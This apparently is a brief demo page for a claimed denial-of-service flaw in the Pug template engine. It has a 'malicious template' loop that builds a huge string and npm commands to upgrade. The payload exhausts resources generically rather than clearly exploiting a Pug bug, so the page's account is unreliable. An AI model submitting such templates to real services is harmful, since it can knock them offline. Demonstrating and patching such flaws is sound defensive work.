Pug before version 2.0.4 is vulnerable to Denial of Service attacks when a crafted template is rendered. Specifically, crafted input can cause an exponential execution time via the compiled template.
Pug (formerly known as Jade) is a high-performance template engine heavily influenced by Haml and implemented with JavaScript for Node.js and browsers.
Test the Pug Denial of Service vulnerability by providing a template string to render:
// This malicious template causes exponential rendering time - var x = "x"; - for (var i = 0; i < 10; i++) - x = x + x + x + x + x + x + x + x + x + x p= x
⚠️ Warning: Using the payload above may cause the browser to hang or crash. Use with caution.
To mitigate this vulnerability:
// Update command: npm update pug --save // Or pin to a specific safe version: npm install pug@3.0.2 --save